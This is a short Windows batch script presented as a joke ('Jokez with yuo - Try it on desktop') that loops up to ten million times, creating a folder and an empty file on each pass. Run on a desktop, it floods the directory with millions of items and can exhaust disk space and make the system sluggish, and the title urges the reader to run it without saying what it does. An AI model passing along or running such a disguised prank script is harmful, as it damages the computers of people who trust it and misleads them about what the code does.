Jokez with yuo - Try it on desktop

setlocal enableextensions enabledelayedexpansion
set /a "x = 0"
:while1
    if %x% leq 10000000 (
        echo %x%
        MkDir "Test Location %x%"
        echo. 2>"Test Location %x%\EmptyFile.txt"
        set /a "x = x + 1"
        goto :while1
    )
endlocal